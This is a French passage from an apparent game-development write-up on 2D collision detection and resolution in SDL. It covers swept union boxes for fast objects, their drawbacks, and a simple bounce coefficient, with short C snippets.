  • Surface d’intersection : résoudre en priorité l’objet avec la plus grande surface de collision. Rend le problème moins probable mais ne le supprime pas.
  • Double calcul : calculer les deux résolutions possibles et retenir la plus éloignée. Coûteux et probablement soumis à des edge cases.
  • Projeté orthogonal : pour chaque objet, projeter orthogonalement le centre du joueur sur l’objet pour obtenir le point le plus proche lui appartenant, puis trier par cette distance. Règle le biais de taille tout en restant simple.

Dans la pratique, le problème était imperceptible dans le jeu final, donc cette approche est restée au stade de la réflexion.

Cette approche est parfaitement fonctionnelle pour une utilisation classique, cependant elle a certaines limites dans des cas extrêmes. Imaginons que le Player aille à une vitesse très élevée, il serait possible que sa “GhostBox” passe directement derrière l’obstacle et par conséquent que le joueur le traverse. Voici un schéma illustrant ceci :

Nous pouvons essayer d’implémenter une solution avec SDL_UnionRect permettant de récupérer le rectangle contenant le joueur jusqu’à sa GhostBox (position future).

La seule différence par rapport au code précédent est la détection : au lieu d’utiliser directement la GhostBox, on construit une deltaBox couvrant le joueur de sa position actuelle jusqu’à sa GhostBox, puis on vérifie l’intersection avec celle-ci. La résolution reste identique.

SDL_FRect* deltaBox = (SDL_FRect*) malloc(sizeof(SDL_FRect));
SDL_UnionFRect(collider->rect, colliderNextPos, deltaBox);
SDL_bool hasCollided = SDL_HasIntersectionF(deltaBox, collideeNextPos);
free(deltaBox);

Après avoir testé cette méthode je vois un problème et en théorise un autre.
Le problème que je constate est que si le personnage est sur une plateforme qui monte, il ne peut plus sauter. Après investigation cela est dû au fait que dans ce code la boite d’union comprend la position actuelle du personnage et n’est pas basé uniquement sur ses positions futures. Cela a pour effet de créer une collision alors que dans le futur il n’y en aurait pas eu.
Ce problème peut être mitigé en enlevant la largeur et hauteur du Rect du perso à cette box et en la décalant dans la bonne direction.
Cependant ce problème m’a fait penser à un autre, ce système de boite d’union est présent pour avoir des collisions continues même si l’objet va à une haute vitesse. Cependant si l’objet va en diagonale la boite va s’étendre dans les deux directions diagonales tangentes et potentiellement entrer en collision avec un mur alors que l’objet serait simplement passé à côté avec un calcul normal. Pour régler cela il faudrait utiliser des raycasts afin de vérifier si une intersection LINEAIRE existe. Voir le schéma suivant :

Le système initial étant déjà suffisant pour ce que nous faisons, et n’ayant pas un temps illimité pour expérimenter, nous allons revenir à la version précédente du système de collision qui fait déjà suffisamment l’affaire. Cependant nous savons que si nous nécessitons éventuellement d’une version plus robuste, nous avons le modèle ici.

Implémenter un système de rebond une fois les bases physiques posées est plutôt simple.
Il nous suffit de définir un coefficient de rebond pour les objets du jeu, et de multiplier la vitesse du joueur sur l’axe de la collision par le négatif de ce coefficient ; inversant ainsi sa direction d’un facteur défini.
Exemple :
Le joueur avance de 5 vers la droite (mouvement sur X), il rencontre un obstacle avec un coefficient de rebond de 1.
Nous avons donc vitesse_joueur * -(coeff_rebond) = new_vitesse_joueur,
donc ici 5 * -1 = -5, notre joueur ira donc dans l’autre sens sans perte de vitesse, soit le comportement attendu.

Voici ce que cela donne en code :

// ...
// Si collision :
// Coefficient de rebond :
// 0 -> Aucun rebond
// 1 -> Rebond total, aucune perte de momentum
float bounciness = 1;
// Si collision sur axe Y, venant du dessus
if (collider->rect->y + collider->rect->h <= collidee->rect->y)
{
// Négation de la vitesse Y et multiplication par le coefficient de rebond
collider->vY *= -bounciness;
// Gestion de la collision
}
// Gestion de l'axe Y venant du dessous et axe X similaire
// ...

À noter que cette formule suppose que le collidee est statique, ou du moins qu’il ne réagit pas à la collision (il pourrait par exemple être en mouvement linéaire, comme une plateforme qui se déplace). Dans le cas où les deux objets sont en mouvement et réagissent l’un à l’autre, il faudrait introduire la notion de masse et appliquer la conservation de la quantité de mouvement pour calculer les nouvelles vélocités des deux objets.